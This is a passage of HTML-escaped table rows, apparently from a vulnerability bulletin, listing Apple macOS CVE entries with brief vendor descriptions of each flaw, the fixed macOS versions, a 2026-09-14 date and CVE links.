&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-65374&quot; target=&quot;_blank&quot;&gt;CVE-2026-65374&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Apple--macOS&lt;/td&gt;
&lt;td&gt;The issue was addressed with improved authentication. This issue is fixed in macOS Golden Gate 27, macOS Sequoia 15.8, macOS Tahoe 26.6. An app may be able to cause unexpected system termination.&lt;/td&gt;
&lt;td&gt;2026-09-14&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-65375&quot; target=&quot;_blank&quot;&gt;CVE-2026-65375&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Apple--macOS&lt;/td&gt;
&lt;td&gt;An out-of-bounds read was addressed with improved bounds checking. This issue is fixed in macOS Golden Gate 27, macOS Sequoia 15.8, macOS Tahoe 26.7. An app may be able to cause unexpected system termination.&lt;/td&gt;
&lt;td&gt;2026-09-14&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-65376&quot; target=&quot;_blank&quot;&gt;CVE-2026-65376&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Apple--macOS&lt;/td&gt;
&lt;td&gt;An authorization issue was addressed with improved state management. This issue is fixed in macOS Golden Gate 27, macOS Sequoia 15.8, macOS Tahoe 26.7. An app may be able to access sensitive user data.&lt;/td&gt;
&lt;td&gt;2026-09-14&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-65378&quot; target=&quot;_blank&quot;&gt;CVE-2026-65378&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Apple--macOS&lt;/td&gt;
&lt;td&gt;An issue existed in the handling of snapshots. The issue was resolved with improved permissions logic. This issue is fixed in macOS Golden Gate 27. An app may be able to access protected user data.&lt;/td&gt;
&lt;td&gt;2026-09-14&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-65380&quot; target=&quot;_blank&quot;&gt;CVE-2026-65380&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Apple--macOS&lt;/td&gt;
&lt;td&gt;A validation issue existed in the entitlement verification. This issue was addressed with improved validation of the process entitlement. This issue is fixed in macOS Golden Gate 27, macOS Sequoia 15.8, macOS Tahoe 26.7. A malicious app may be able to break out of its sandbox.&lt;/td&gt;
&lt;td&gt;2026-09-14&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-65381&quot; target=&quot;_blank&quot;&gt;CVE-2026-65381&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Apple--macOS&lt;/td&gt;
&lt;td&gt;A parsing issue in the handling of directory paths was addressed with improved path validation. This issue is fixed in macOS Golden Gate 27, macOS Sequoia 15.8, macOS Tahoe 26.7. An app may be able to access sensitive user data.&lt;/td&gt;
&lt;td&gt;2026-09-14&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-65382&quot; target=&quot;_blank&quot;&gt;CVE-2026-65382&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Apple--macOS&lt;/td&gt;
&lt;td&gt;This issue was addressed with improved checks. This issue is fixed in macOS Golden Gate 27. An app may bypass Gatekeeper checks.&lt;/td&gt;
&lt;td&gt;2026-09-14&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-65383&quot; target=&quot;_blank&quot;&gt;CVE-2026-65383&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Apple--macOS&lt;/td&gt;
&lt;td&gt;A race condition was addressed with improved state handling. This issue is fixed in macOS Golden Gate 27, macOS Tahoe 26.7. An app may be able to cause unexpected system termination.&lt;/td&gt;
&lt;td&gt;2026-09-14&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-65401&quot; target=&quot;_blank&quot;&gt;CVE-2026-65401&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Apple--macOS&lt;/td&gt;
&lt;td&gt;An integer overflow was addressed with improved input validation. This issue is fixed in macOS Golden Gate 27, macOS Sequoia 15.8, macOS Tahoe 26.7. An app may be able to cause a denial of service.&lt;/td&gt;
&lt;td&gt;2026-09-14&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-65413&quot; target=&quot;_blank&quot;&gt;CVE-2026-65413&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Apple--macOS&lt;/td&gt;
&lt;td&gt;An out-of-bounds write issue was addressed with improved bounds checking. This issue is fixed in macOS Golden Gate 27, macOS Sequoia 15.8, macOS Tahoe 26.7. An app may be able to gain root privileges.&lt;/td&gt;
&lt;td&gt;2026-09-14&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-84505&quot; target=&quot;_blank&quot;&gt;CVE-2026-84505&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Apple--macOS&lt;/td&gt;
&lt;td&gt;A use after free issue was addressed with improved memory management. This issue is fixed in macOS Golden Gate 27, macOS Sequoia 15.8, macOS Tahoe 26.7. An app may be able to execute arbitrary code with kernel privileges.&lt;/td&gt;
&lt;td&gt;2026-09-14&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-84506&quot; target=&quot;_blank&quot;&gt;CVE-2026-84506&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Apple--macOS&lt;/td&gt;
&lt;td&gt;An out-of-bounds read was addressed with improved bounds checking. This issue is fixed in macOS Golden Gate 27, macOS Sequoia 15.8, macOS Tahoe 26.7. Connecting to a malicious SMB server may lead to unexpected system termination.&lt;/td&gt;
&lt;td&gt;2026-09-14&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-84509&quot; target=&quot;_blank&quot;&gt;CVE-2026-84509&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Apple--macOS&lt;/td&gt;
&lt;td&gt;A buffer overflow was addressed with improved bounds checking. This issue is fixed in macOS Golden Gate 27, macOS Sequoia 15.8, macOS Tahoe 26.7. Mounting a maliciously crafted disk image may cause unexpected system termination or corrupt kernel memory.&lt;/td&gt;
&lt;td&gt;2026-09-14&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-84512&quot; target=&quot;_blank&quot;&gt;CVE-2026-84512&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Apple--macOS&lt;/td&gt;
&lt;td&gt;This issue was addressed with additional entitlement checks. This issue is fixed in macOS Golden Gate 27, macOS Sequoia 15.8, macOS Tahoe 26.7. An app may be able to modify protected parts of the file system.&lt;/td&gt;
&lt;td&gt;2026-09-14&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-84514&quot; target=&quot;_blank&quot;&gt;CVE-2026-84514&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Apple--macOS&lt;/td&gt;
&lt;td&gt;An out-of-bounds write issue was addressed with improved bounds checking. This issue is fixed in macOS Golden Gate 27, macOS Sequoia 15.8, macOS Tahoe 26.7. Connecting to a malicious SMB server may lead to kernel memory corruption.&lt;/td&gt;
&lt;td&gt;2026-09-14&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-84515&quot; target=&quot;_blank&quot;&gt;CVE-2026-84515&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Apple--macOS&lt;/td&gt;
&lt;td&gt;An out-of-bounds read was addressed with improved bounds checking. This issue is fixed in macOS Golden Gate 27, macOS Sequoia 15.8, macOS Tahoe 26.7. Processing a maliciously crafted file may result in unexpected app termination or disclosure of process memory.&lt;/td&gt;
&lt;td&gt;2026-09-14&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-84516&quot; target=&quot;_blank&quot;&gt;CVE-2026-84516&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Apple--macOS&lt;/td&gt;
&lt;td&gt;An integer overflow was addressed with improved input validation. This issue is fixed in macOS Golden Gate 27, macOS Sequoia 15.8, macOS Tahoe 26.7. An app may be able to cause unexpected system termination.&lt;/td&gt;
&lt;td&gt;2026-09-14&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-84517&quot; target=&quot;_blank&quot;&gt;CVE-2026-84517&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Apple--macOS&lt;/td&gt;
&lt;td&gt;A buffer overflow was addressed with improved size validation. This issue is fixed in macOS Golden Gate 27. A local attacker may be able to cause unexpected system termination or corrupt kernel memory.&lt;/td&gt;
&lt;td&gt;2026-09-14&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-84520&quot; target=&quot;_blank&quot;&gt;CVE-2026-84520&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Apple--macOS&lt;/td&gt;
&lt;td&gt;A race condition was addressed with improved state management. This issue is fixed in macOS Golden Gate 27. An app may be able to access sensitive user data.&lt;/td&gt;
&lt;td&gt;2026-09-14&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-84522&quot; target=&quot;_blank&quot;&gt;CVE-2026-84522&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Apple--macOS&lt;/td&gt;
&lt;td&gt;A logging issue was addressed with improved data redaction. This issue is fixed in macOS Golden Gate 27, macOS Sequoia 15.8, macOS Tahoe 26.7. An app may be able to access user-sensitive data.&lt;/td&gt;
&lt;td&gt;2026-09-14&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-84525&quot; target=&quot;_blank&quot;&gt;CVE-2026-84525&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Apple--macOS&lt;/td&gt;
&lt;td&gt;An authorization issue was addressed with improved state management. This issue is fixed in macOS Golden Gate 27, macOS Sequoia 15.8, macOS Tahoe 26.7. An app may be able to break out of its sandbox.&lt;/td&gt;
&lt;td&gt;2026-09-14&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-84535&quot; target=&quot;_blank&quot;&gt;CVE-2026-84535&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Apple--macOS&lt;/td&gt;
&lt;td&gt;An integer underflow was addressed with improved input validation. This issue is fixed in macOS Golden Gate 27, macOS Sequoia 15.8, macOS Tahoe 26.7. Connecting to a malicious SMB server may lead to unexpected system termination.&lt;/td&gt;
&lt;td&gt;2026-09-14&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-84536&quot; target=&quot;_blank&quot;&gt;CVE-2026-84536&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Apple--macOS&lt;/td&gt;
&lt;td&gt;The issue was addressed with improved memory handling. This issue is fixed in macOS Golden Gate 27, macOS Sequoia 15.8, macOS Tahoe 26.7. An app may be able to cause unexpected system termination or corrupt kernel memory.&lt;/td&gt;
&lt;td&gt;2026-09-14&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-84537&quot; target=&quot;_blank&quot;&gt;CVE-2026-84537&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Apple--macOS&lt;/td&gt;
&lt;td&gt;A denial-of-service issue was addressed with improved input validation. This issue is fixed in macOS Golden Gate 27, macOS Sequoia 15.8, macOS Tahoe 26.7. A remote attacker may be able to cause a denial-of-service.&lt;/td&gt;
&lt;td&gt;2026-09-14&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-84538&quot; target=&quot;_blank&quot;&gt;CVE-2026-84538&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Apple--macOS&lt;/td&gt;
&lt;td&gt;An authorization issue was addressed with improved state management. This issue is fixed in macOS Golden Gate 27, macOS Sequoia 15.8, macOS Tahoe 26.7. An app may be able to access sensitive user data.&lt;/td&gt;
&lt;td&gt;2026-09-14&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-84540&quot; target=&quot;_blank&quot;&gt;CVE-2026-84540&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Apple--macOS&lt;/td&gt;
&lt;td&gt;An input validation issue was addressed with improved input validation. This issue is fixed in macOS Golden Gate 27, macOS Sequoia 15.8, macOS Tahoe 26.7. An application may be able to access restricted files.&lt;/td&gt;
&lt;td&gt;2026-09-14&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-84541&quot; target=&quot;_blank&quot;&gt;CVE-2026-84541&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Apple--macOS&lt;/td&gt;
&lt;td&gt;An out-of-bounds access issue was addressed with improved bounds checking. This issue is fixed in macOS Golden Gate 27, macOS Sequoia 15.8, macOS Tahoe 26.7. Connecting to a malicious SMB server may cause unexpected system termination or corrupt kernel memory.&lt;/td&gt;
&lt;td&gt;2026-09-14&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-84543&quot; target=&quot;_blank&quot;&gt;CVE-2026-84543&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Apple--macOS&lt;/td&gt;
&lt;td&gt;An integer overflow was addressed with improved input validation. This issue is fixed in macOS Golden Gate 27, macOS Sequoia 15.8, macOS Tahoe 26.7. Connecting to a malicious NFS server may cause unexpected system termination or corrupt kernel memory.&lt;/td&gt;
&lt;td&gt;2026-09-14&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-84544&quot; target=&quot;_blank&quot;&gt;CVE-2026-84544&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Apple--macOS&lt;/td&gt;
&lt;td&gt;An integer overflow was addressed with improved input validation. This issue is fixed in macOS Golden Gate 27, macOS Sequoia 15.8, macOS Tahoe 26.7. Processing a maliciously crafted document may lead to an out-of-bounds read.&lt;/td&gt;
&lt;td&gt;2026-09-14&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-84548&quot; target=&quot;_blank&quot;&gt;CVE-2026-84548&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Apple--macOS&lt;/td&gt;
&lt;td&gt;An out-of-bounds read was addressed with improved bounds checking. This issue is fixed in macOS Golden Gate 27, macOS Sequoia 15.8, macOS Tahoe 26.7. Connecting to a malicious NFS server may cause unexpected system termination or corrupt kernel memory.&lt;/td&gt;
&lt;td&gt;2026-09-14&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-84549&quot; target=&quot;_blank&quot;&gt;CVE-2026-84549&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Apple--macOS&lt;/td&gt;
&lt;td&gt;A race condition was addressed with additional validation. This issue is fixed in macOS Golden Gate 27, macOS Sequoia 15.8, macOS Tahoe 26.7. An app may be able to cause unexpected system termination.&lt;/td&gt;
&lt;td&gt;2026-09-14&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-84550&quot; target=&quot;_blank&quot;&gt;CVE-2026-84550&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Apple--macOS&lt;/td&gt;
&lt;td&gt;A resource exhaustion issue was addressed with improved input validation. This issue is fixed in macOS Golden Gate 27, macOS Sequoia 15.8, macOS Tahoe 26.7. A remote attacker may be able to cause a denial-of-service.&lt;/td&gt;
&lt;td&gt;2026-09-14&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-84553&quot; target=&quot;_blank&quot;&gt;CVE-2026-84553&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Apple--macOS&lt;/td&gt;
&lt;td&gt;An integer overflow was addressed with improved input validation. This issue is fixed in macOS Golden Gate 27, macOS Sequoia 15.8, macOS Tahoe 26.7. An attacker in a privileged network position may be able to cause a denial-of-service.&lt;/td&gt;
&lt;td&gt;2026-09-14&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-84554&quot; target=&quot;_blank&quot;&gt;CVE-2026-84554&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Apple--macOS&lt;/td&gt;
&lt;td&gt;An authorization issue was addressed with improved access control. This issue is fixed in macOS Golden Gate 27, macOS Sequoia 15.8. An app may be able to access sensitive user data.&lt;/td&gt;
&lt;td&gt;2026-09-14&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-84555&quot; target=&quot;_blank&quot;&gt;CVE-2026-84555&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Apple--macOS&lt;/td&gt;
&lt;td&gt;An authorization issue was addressed with improved access control. This issue is fixed in macOS Golden Gate 27, macOS Sequoia 15.8, macOS Tahoe 26.7. An app may be able to access sensitive user data.&lt;/td&gt;
&lt;td&gt;2026-09-14&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-84556&quot; target=&quot;_blank&quot;&gt;CVE-2026-84556&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Apple--macOS&lt;/td&gt;
&lt;td&gt;A double free issue was addressed with improved memory management. This issue is fixed in macOS Golden Gate 27. An app may be able to cause unexpected system termination.&lt;/td&gt;
&lt;td&gt;2026-09-14&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-84558&quot; target=&quot;_blank&quot;&gt;CVE-2026-84558&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Apple--macOS&lt;/td&gt;
&lt;td&gt;A permissions issue was addressed with improved validation. This issue is fixed in macOS Golden Gate 27, macOS Sequoia 15.8, macOS Tahoe 26.7. A malicious application may be able to access restricted files.&lt;/td&gt;
&lt;td&gt;2026-09-14&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-84559&quot; target=&quot;_blank&quot;&gt;CVE-2026-84559&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Apple--macOS&lt;/td&gt;
&lt;td&gt;A race condition was addressed with additional validation. This issue is fixed in macOS Tahoe 26.6. An app may be able to access protected user data.&lt;/td&gt;
&lt;td&gt;2026-09-14&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-84562&quot; target=&quot;_blank&quot;&gt;CVE-2026-84562&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Apple--macOS&lt;/td&gt;
&lt;td&gt;A logic issue was addressed with improved checks. This issue is fixed in macOS Golden Gate 27, macOS Sequoia 15.8, macOS Tahoe 26.7. An app may be able to cause unexpected system termination.&lt;/td&gt;
&lt;td&gt;2026-09-14&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-84563&quot; target=&quot;_blank&quot;&gt;CVE-2026-84563&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Apple--macOS&lt;/td&gt;
&lt;td&gt;An out-of-bounds read was addressed with improved bounds checking. This issue is fixed in macOS Golden Gate 27, macOS Sequoia 15.8, macOS Tahoe 26.7. Processing a maliciously crafted disk image may lead to unexpected app termination.&lt;/td&gt;
&lt;td&gt;2026-09-14&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-84565&quot; target=&quot;_blank&quot;&gt;CVE-2026-84565&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Apple--macOS&lt;/td&gt;
&lt;td&gt;The issue was addressed with improved memory handling. This issue is fixed in macOS Golden Gate 27, macOS Sequoia 15.8, macOS Tahoe 26.7. An app may be able to cause unexpected system termination.&lt;/td&gt;
&lt;td&gt;2026-09-14&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-84567&quot; target=&quot;_blank&quot;&gt;CVE-2026-84567&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Apple--macOS&lt;/td&gt;
&lt;td&gt;A path traversal issue was addressed with improved path validation. This issue is fixed in macOS Golden Gate 27, macOS Sequoia 15.8, macOS Tahoe 26.7. An attacker with control of a network directory server may be able to execute arbitrary code with root privileges.&lt;/td&gt;
&lt;td&gt;2026-09-14&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-84568&quot; target=&quot;_blank&quot;&gt;CVE-2026-84568&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Apple--macOS&lt;/td&gt;
&lt;td&gt;An access issue was addressed with additional sandbox restrictions on the system pasteboards. This issue is fixed in macOS Golden Gate 27. An app may be able to access sensitive user data.&lt;/td&gt;
&lt;td&gt;2026-09-14&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-84569&quot; target=&quot;_blank&quot;&gt;CVE-2026-84569&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Apple--macOS&lt;/td&gt;
&lt;td&gt;A logic issue was addressed with improved checks. This issue is fixed in macOS Golden Gate 27, macOS Sequoia 15.8, macOS Tahoe 26.7. An app may be able to bypass Gatekeeper checks.&lt;/td&gt;
&lt;td&gt;2026-09-14&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-84570&quot; target=&quot;_blank&quot;&gt;CVE-2026-84570&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Apple--macOS&lt;/td&gt;
&lt;td&gt;An out-of-bounds read was addressed with improved bounds checking. This issue is fixed in macOS Golden Gate 27, macOS Sequoia 15.8, macOS Tahoe 26.7. An app may be able to cause unexpected system termination or read kernel memory.&lt;/td&gt;
&lt;td&gt;2026-09-14&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-84572&quot; target=&quot;_blank&quot;&gt;CVE-2026-84572&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Apple--macOS&lt;/td&gt;
&lt;td&gt;This issue was addressed with improved checks. This issue is fixed in macOS Golden Gate 27, macOS Sequoia 15.8, macOS Tahoe 26.7. An app may be able to access sensitive user data.&lt;/td&gt;
&lt;td&gt;2026-09-14&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-84573&quot; target=&quot;_blank&quot;&gt;CVE-2026-84573&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Apple--macOS&lt;/td&gt;
&lt;td&gt;A permissions issue was addressed with improved state management. This issue is fixed in macOS Golden Gate 27, macOS Sequoia 15.8, macOS Tahoe 26.7. An app may be able to bypass Privacy preferences.&lt;/td&gt;
&lt;td&gt;2026-09-14&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-84574&quot; target=&quot;_blank&quot;&gt;CVE-2026-84574&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
